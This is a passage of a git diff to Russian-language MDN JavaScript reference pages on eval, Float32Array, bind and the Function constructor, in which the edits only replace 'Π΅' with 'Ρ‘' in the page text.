этого, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ (ΠΈ Π²Π°ΠΌ слСдуСт) ΠΏΠΈΡΠ°Ρ‚ΡŒ:</p>
<pre class="brush: js notranslate">// вмСсто setTimeout(" ... ", 1000) :
setTimeout(function() { ... }, 1000);
@@ -111,7 +111,7 @@ elt.addEventListener("click", function() { ... } , false); </pre>
<h3 id="ΠŸΠ΅Ρ€Π΅Π΄Π°Π²Π°ΠΉΡ‚Π΅_Π΄Π°Π½Π½Ρ‹Π΅_вмСсто_ΠΊΠΎΠ΄Π°">ΠŸΠ΅Ρ€Π΅Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ вмСсто ΠΊΠΎΠ΄Π°</h3>
-<p>К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, созданноС ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ содСрТимоС Π²Π΅Π±-страниц, Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Β <a href="/en-US/docs/XPath" title="XPath">XPath</a>, Π° Π½Π΅ JS ΠΊΠΎΠ΄Π΅.</p>
+<p>К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, созданноС ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ содСрТимоС Π²Π΅Π±-страниц, Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Β <a href="/en-US/docs/XPath" title="XPath">XPath</a>, Π° Π½Π΅ JS ΠΊΠΎΠ΄Π΅.</p>
<h3 id="ВыполняйтС_ΠΊΠΎΠ΄_с_ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ_ΠΏΡ€Π°Π²Π°ΠΌΠΈ">ВыполняйтС ΠΊΠΎΠ΄ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΡ€Π°Π²Π°ΠΌΠΈ</h3>
@@ -132,7 +132,7 @@ eval(z); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 42
<h3 id="ИспользованиС_eval_для_исполнСния_строки_содСрТащСй_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_JavaScript">ИспользованиС <code>eval</code> для исполнСния строки, содСрТащСй ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ JavaScript</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>eval()</code> для получСния значСния выраТСния <code>str</code>. Π­Ρ‚Π° строка состоит ΠΈΠ· JavaScript Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΏΠ΅Ρ‡Π°Ρ‚Π°ΡŽΡ‰ΠΈΡ… Π² консоль, ΠΈ, Ссли x Ρ€Π°Π²Π΅Π½ пяти, ΠΏΡ€ΠΈΠ·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… z Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 42,Β ΠΈΠ»ΠΈ 0 Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС. Когда Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ исполнСно,Β <code>eval()</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ выраТСния Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ это установит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ z ΠΈ Π²Π΅Ρ€Π½Π΅Ρ‚ Π΅Π³ΠΎ.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>eval()</code> для получСния значСния выраТСния <code>str</code>. Π­Ρ‚Π° строка состоит ΠΈΠ· JavaScript Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΏΠ΅Ρ‡Π°Ρ‚Π°ΡŽΡ‰ΠΈΡ… Π² консоль, ΠΈ, Ссли x Ρ€Π°Π²Π΅Π½ пяти, ΠΏΡ€ΠΈΠ·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… z Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 42,Β ΠΈΠ»ΠΈ 0 Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС. Когда Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ исполнСно,Β <code>eval()</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ выраТСния Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ это установит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ z ΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π΅Π³ΠΎ.</p>
<pre class="brush:js notranslate">var x = 5;
var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
@@ -141,7 +141,7 @@ console.log("z is ", eval(str));</pre>
<h3 id="ПослСднСС_Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅_выполняСтся">ПослСднСС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ выполняСтся</h3>
-<p><code>eval()</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ послСднСго выполняСмого выраТСния</p>
+<p><code>eval()</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ послСднСго выполняСмого выраТСния</p>
<pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }";
var a = true;
@@ -202,7 +202,7 @@ var fct2 = eval(fctStr2) // Π²Π΅Ρ€Π½Ρ‘Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ
<h3 id="Gecko-спСцифичныС_замСчания">Gecko-спСцифичныС замСчания</h3>
<ul>
- <li>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈΒ <code>eval()</code> ΠΈΠΌΠ΅Π»Β Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ‚ΠΎ, Π² контСкстС ΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎΡ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ Π±Ρ‹Π» стандартизован ΠΈ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ·Β SpiderMonkey Π²Β Gecko 1.9.1 (Firefox 3.5). Π‘ΠΌ.Β {{bug(442333)}}.</li>
+ <li>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈΒ <code>eval()</code> ΠΈΠΌΠ΅Π»Β Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ‚ΠΎ, Π² контСкстС ΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎΡ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ Π±Ρ‹Π» стандартизован ΠΈ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ·Β SpiderMonkey Π²Β Gecko 1.9.1 (Firefox 3.5). Π‘ΠΌ.Β {{bug(442333)}}.</li>
</ul>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/float32array/index.html b/files/ru/web/javascript/reference/global_objects/float32array/index.html
index dcd127face..f8fbb0c603 100644
--- a/files/ru/web/javascript/reference/global_objects/float32array/index.html
+++ b/files/ru/web/javascript/reference/global_objects/float32array/index.html
@@ -185,7 +185,7 @@ var z = new Float32Array(buffer, 0, 4);
<h2 id="Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ_ΠΏΠΎ_совмСстимости">Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎ совмСстимости</h2>
-<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ с ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом {{jsxref("Operators/new", "new")}}. Π’Ρ‹Π·ΠΎΠ²Β <code>Float32Array</code> конструктора ΠΊΠ°ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽΒ {{jsxref("TypeError")}}.</p>
+<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ с ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом {{jsxref("Operators/new", "new")}}. Π’Ρ‹Π·ΠΎΠ²Β <code>Float32Array</code> конструктора ΠΊΠ°ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽΒ {{jsxref("TypeError")}}.</p>
<pre class="brush: js example-bad">var dv = Float32Array([1, 2, 3]);
// TypeError: calling a builtin Float32Array constructor
diff --git a/files/ru/web/javascript/reference/global_objects/function/bind/index.html b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
index d153dc9e5c..78061cd192 100644
--- a/files/ru/web/javascript/reference/global_objects/function/bind/index.html
+++ b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
@@ -32,18 +32,18 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
<h2 id="Description" name="Description">ОписаниС</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>bind()</code> создаёт Π½ΠΎΠ²ΡƒΡŽ "<strong>ΠΏΡ€ΠΈΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ</strong>" (<strong>ПЀ</strong>).Β  <strong>ПЀ</strong> <span class="translation-chunk">- это "Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ </span> <span class="translation-chunk">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚" ( Ρ‚Π΅Ρ€ΠΌΠΈΠ½ ΠΈΠ· </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΎΠΉ Π½Π°Π΄ исходным </span> <span class="translation-chunk">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Π’Ρ‹Π·ΠΎΠ² </span> <strong>ПЀ</strong> <span class="translation-chunk">Β  ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ исполнСнию ΠΊΠΎΠ΄Π° ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</span></p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>bind()</code> создаёт Π½ΠΎΠ²ΡƒΡŽ "<strong>ΠΏΡ€ΠΈΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ</strong>" (<strong>ПЀ</strong>).Β  <strong>ПЀ</strong> <span class="translation-chunk">- это "Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ </span> <span class="translation-chunk">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚" ( Ρ‚Π΅Ρ€ΠΌΠΈΠ½ ΠΈΠ· </span> <strong>ECMAScript 6</strong> <span class="translation-chunk"> ), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΎΠΉ Π½Π°Π΄ исходным </span> <span class="translation-chunk">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Π’Ρ‹Π·ΠΎΠ² </span> <strong>ПЀ</strong> <span class="translation-chunk">Β  ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ исполнСнию ΠΊΠΎΠ΄Π° ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</span></p>
<p><strong>ПЀ</strong> <span class="translation-chunk"> ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ( скрытыС ) свойства:</span></p>
<ul>
<li><span class="translation-chunk"><strong>[[BoundTargetFunction]]</strong> - ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉΒ  (Ρ†Π΅Π»Π΅Π²ΠΎΠΉ ) </span> <span class="translation-chunk">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ </span><span class="translation-chunk">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚</span></li>
- <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ всСгда пСрСдаСтся Π² качСствС значСния   <strong>this </strong>ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</span></li>
+ <li><span class="translation-chunk"><strong>[[BoundThis]]</strong> - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ всСгда пСрСдаётся Π² качСствС значСния   <strong>this </strong>ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</span></li>
<li><span class="translation-chunk"><strong>[[BoundArguments]] </strong>- список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, элСмСнты ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</span></li>
<li><strong><span class="translation-chunk">[[</span>Call</strong><span class="translation-chunk"><strong>]] </strong>- Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄. ВыполняСт ΠΊΠΎΠ΄ (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅), связанный с Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ.Β </span></li>
</ul>
-<p><span class="translation-chunk">Когда <strong>ПЀ </strong>вызываСтся, исполняСтся Π΅Π΅ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p>
+<p><span class="translation-chunk">Когда <strong>ПЀ </strong>вызываСтся, исполняСтся Π΅Ρ‘ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ </span> <strong>[[Call]]</strong> <span class="translation-chunk"> со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ </span> <strong>Call(<em>target</em>, <em>boundThis</em>, <em>args</em>).</strong></p>
<ul>
<li><strong><em>target</em></strong> <span class="translation-chunk">Β  - Β Β  <strong>[[BoundTargetFunction]]</strong>;</span></li>
@@ -163,7 +163,7 @@ emptyObj.x + ',' + emptyObj.y;
<h3 id="Example:_Creating_shortcuts" name="Example:_Creating_shortcuts">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: созданиС сокращСний</h3>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>bind()</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Π² случаях, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сокращСниС для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰Π΅ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code>.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>bind()</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Π² случаях, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сокращСниС для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰Π΅ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code>.</p>
<p>Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Array.prototype.slice")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для прСобразования массивоподобного ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² настоящий массив. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ сокращСниС:</p>
diff --git a/files/ru/web/javascript/reference/global_objects/function/index.html b/files/ru/web/javascript/reference/global_objects/function/index.html
index 4b6b4f5825..a097213c69 100644
--- a/files/ru/web/javascript/reference/global_objects/function/index.html
+++ b/files/ru/web/javascript/reference/global_objects/function/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function
<p>{{JSRef}}</p>
-<p><strong><code>Function</code>Β constructor</strong> создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Function</code>. Π’Ρ‹Π·ΠΎΠ²Β <code>constructor</code> создаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ динамичСски, Π½ΠΎ страдаСт ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ бСзопасности ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Ρ… (Π½ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΠΌΠ΅Π½Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…) ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ {{jsxref("eval")}}. Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ eval, конструктор Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ создаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² глобальной области..</p>
+<p><strong><code>Function</code>Β constructor</strong> создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Function</code>. Π’Ρ‹Π·ΠΎΠ²Β <code>constructor</code> создаёт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ динамичСски, Π½ΠΎ страдаСт ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ бСзопасности ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Ρ… (Π½ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΠΌΠ΅Π½Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…) ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ {{jsxref("eval")}}. Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ eval, конструктор Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ создаёт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² глобальной области..</p>
<p>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</p>
diff --git a/files/ru/web/javascript/reference/global_objects/function/name/index.html b/files/ru/web/javascript/reference/global_objects/function/name/index.html
index 82a59765f2..b421c428a8 100644
--- a/files/ru/web/javascript/reference/global_objects/function/name/index.html
+++ b/files/ru/web/javascript/reference/global_objects/function/name/index.html
@@ -44,7 +44,7 @@ alert(doSomething.name); // Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ "doSomething"
<h3 id="ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹Π΅_ΠΈΠΌΠ΅Π½Π°_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ">ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹Π΅ ΠΈΠΌΠ΅Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</h3>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· Π΅Π΅ синтаксичСской ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ Β (new in ECMAScript 2015).</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· Π΅Ρ‘ синтаксичСской ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ Β (new in ECMAScript 2015).</p>
<pre class="brush: js">var f = function() {};
var object = {
@@ -79,7 +79,7 @@ alert(object.someMethod.name); //someMethod
<p>Для измСнСния name ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ {{jsxref("Object.defineProperty()")}}.</p>
